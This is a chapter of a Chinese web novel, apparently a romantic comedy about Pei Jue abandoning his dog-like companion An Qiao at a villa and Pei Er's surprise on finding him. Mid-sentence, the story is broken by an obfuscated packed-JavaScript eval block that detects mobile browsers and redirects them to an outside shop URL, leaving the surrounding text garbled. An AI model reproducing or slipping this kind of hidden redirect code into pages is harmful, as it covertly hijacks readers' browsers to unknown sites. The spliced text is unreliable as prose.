“是我低估你了。”裴觉深吸了一口气,他走进了书房,将几份重要的文件准备好,然后打开了密码锁,将里面的几份文件全部整理好,直接带走。 他甚至都不需要行李箱,因为这里没有一件衣服是完整的,没有一个东西是完好无损的,安桥真正意义上做到了全损。 “你要去哪?”安桥看裴觉要走,他顾不得去捡起手机了,连忙小跑着跟在裴觉的身后,然而对方直接拉开车门上车,对着趴在车门上的安桥说道:“去把你的行李箱和手机拿来,我在这里等你。” “wer?”安桥疑惑地看着裴觉。 “你准备的惊喜我很喜欢,所以我要带你出去吃饭,奖励你的,乖,你去拿东西过来吧。”裴觉脸色平静,眼神里带着一丝阴沉,他道:“我在这里等你。” 裴觉从来没有骗过安桥,他在安桥这里的信誉度是很高的,安桥很信任的,一听这话顿时开心起来,转头就要去拿自己的东西。 然而就在安桥的身影消失在别墅大门口的时候,裴觉就直接一脚油门走了。 他忍够了。 至少现在,他需要冷静。 他副驾驶传来了“werwerwer——”的声音,但是裴觉没有转头去看,他知道自己应该是又幻听了,他真受够了这个神经病了。 这该死的”werwerwer——”声。 20.可怜 别墅的大门口,合起来的大铁门仿佛限制住了安桥的活动范围,他伸手抓着铁栏杆,白净的掌心沾染了一些污泥,看起来有些狼狈。 “裴觉……”安桥试图伸手从这个缝隙里挤出去,可惜他现在是个人,不是狗,没办法从这个缝隙里挤出去,有些沮丧地抓着栏杆,满满滑倒在地,闷声道:“裴觉,裴觉,裴觉,裴觉,裴觉……” 他可太难过了,裴觉竟然没发现他还没上车,难道他就这么没有存在感吗? 这还是他第一次被人忽略的彻彻底底,而且这个人还是和他朝夕相处的裴觉。 “打电话。”安桥拿着屏幕碎裂的手机,试图拨打裴觉的电话,事实上他的手机里只存了裴觉和许特助的电话,他能联系的也只有这两个人而已。 碎裂的屏幕照出了他苍白茫然的面容,眼神十分单纯,只有对能回到裴觉身边的渴望,他发誓,他以后肯定 会反思自己,加强存在感,被裴觉忽略这种事情一定不会再发生的。 “太丢脸了。”安桥喃喃道:“没有比格会被忽略的,没有!” 他总是反复拨打着裴觉的电话,蹲坐在大门口,任由大太阳在他的头顶晒着,整个人都看起来有些站不住了,然后干脆就蹲坐着继续晒着。 他打完电话发信息,发完信息打视频,不明白为什么裴觉会忽略他,更不理解为什么裴觉又不肯接自己的电话了,他后知后觉这个屋子好像又只剩下他一个了,一种说不出来的孤单感顿时涌上心头,安桥不安地发出了“werwerwer——”声给自己壮胆。 “werwerwer——” “werwerwer——” “werwerwer——”…… 安桥在大太阳下,左手抱着自己的碗,右手抱着裴觉的笔记本电脑,一副要晒死自己的模样,将这幅凄惨无比的照片拍好发给了裴觉。 “wer!”他非常满意地站起来,然后摇摇晃晃地抱着自己的碗,将裴觉的电脑丢到一边去了,赶紧回房子里打开空调凉快一下。 此刻这张照片的发送提示在转了无数个灰色圈圈之后,终于迎来了它最后的结局,一个非常鲜艳的红色感叹号! “怎么没打电话?也没发信息,连个视频通话都没有。”裴觉坐在酒店的阳台上,他甚至是点了一杯无酒精的饮品,以防止等会还要开车回去,不过让他有些意外的是本该骚扰他的安桥此刻却安安静静,甚至连一条信息都没有。 “他在家不会挖地基了吧?”裴觉揉了揉有些泛疼的眉心,目光落在了自己的手机上,将手机反复打开又关上,确定自己的手机没有出问题,而后目光落在了远处,深觉自己真是疯了,这样的安静生活不好吗,难道非要看着那个疯子? 他再次打开手机,发现有了两条信息,不由得挑起眉梢,嗤笑一声:“还是装不下去了?” 他打开了手机,结果发现一条是许特助询问他是否到了,还有一条是工作的文件信息,裴觉唇角微微上扬,将手机随意扣在了旁边的茶桌上。 “行啊,看来是知错了。”裴觉想着安桥应该是被自己吓住了,所以都不敢打电话过来,这么一想,其实安桥也只是认知问题而已,这是因为受伤导致的,也不能怪他。 他想着安桥的手机被打落时吓得抖了一下的茫然表情,心中隐隐有些内疚起来,他并不想承认自己生气其实并不是因为房间和书房被破坏了,只是因为他以为安桥看到了那个亲子鉴定。 “二十七年了,忽然来了个亲子鉴定。”裴觉调查了一个月,都没调查处头绪,他神情阴郁,将手里的花随意揉碎了。 一个月了,裴觉还是不够了解安桥。 至少从没养过狗的裴觉并不知道有一句话叫做“小狗静悄悄,肯定在作妖”。 此刻比他们两个更加崩溃是到达了同安市的裴二,他来到工地的时候,同安市气温直达全国最高,他本以为自己能抓到什么关于裴觉的把柄,谁知道负责人一脸茫然地说:“裴总?裴总今天早上就回江洲市了,早班飞机,应该已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539978|203088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经落地了。” 裴二嚣张的脸顿时一僵,他扯动唇角,不敢相信这是真的。 “真的。”负责人点头,并且拍着胸膛保证道:“我看着他们上飞机的。” 裴二深吸了一口气,他缓了两分钟,咬牙切齿道:“好,他们果然是在针对我,不然怎么可能我来了他们就走了,裴觉没这个脑子,想不出这种损招,肯定是他那个小情人干的事情,不然我哥以前从来没对我这样过的!” 他哥一般都是居高临下地看着他,就像是看垃圾一样。 “二少。”负责人看裴二的脸色不太对劲,小心翼翼道:“要不您在这里休息两天,我立刻让人安排您的酒店。” “不用了,我现在就回江洲市。”裴二冷着脸转身朝机场走去。 负责人站在后面看裴二的车子驶离这里,他摸了摸下巴,自言自语道:“我怎么感觉二少和裴总长得不太像,倒是很像裴总带来的那位呢?特别是那个眼睛,几乎一模一样。” 他摇了摇头,觉得自己可能也被太阳晒得有些眼前发晕了。 …… 裴觉不搭理安桥,他就开始无聊了,将整个屋子都探索一遍,上面三层已经不能满足他了,不光是裴觉的房间,应该说整个上下三层都未能幸免,安桥站在三层的台阶上,发出了“werwerwer——”的叫声,仿佛瞬间解放天性了。 他气沉丹田,甚至发出了不同语调的叫喊声,他对着手机叫唤的,试图传递给裴觉。 但是手机已经完全黑屏了,无论安桥怎么咬,怎么甩,都没有半点动静。 到了傍晚裴觉还没回来,安桥就坐在台阶前面抱着双腿,迎着落日发出着阵阵无聊的叫声,大概是叫的时间太长,又太时间没有吃东西,低血糖加缺氧,他自己给自己叫干呕了,甩了甩脑袋准备继续。 裴二来到这里的时候,就看到安桥这幅孤寂绝望的模样,他看到安桥趴在台阶上,十分可怜地肩头耸动微微哽咽,哭到吐了! 裴二:……!!!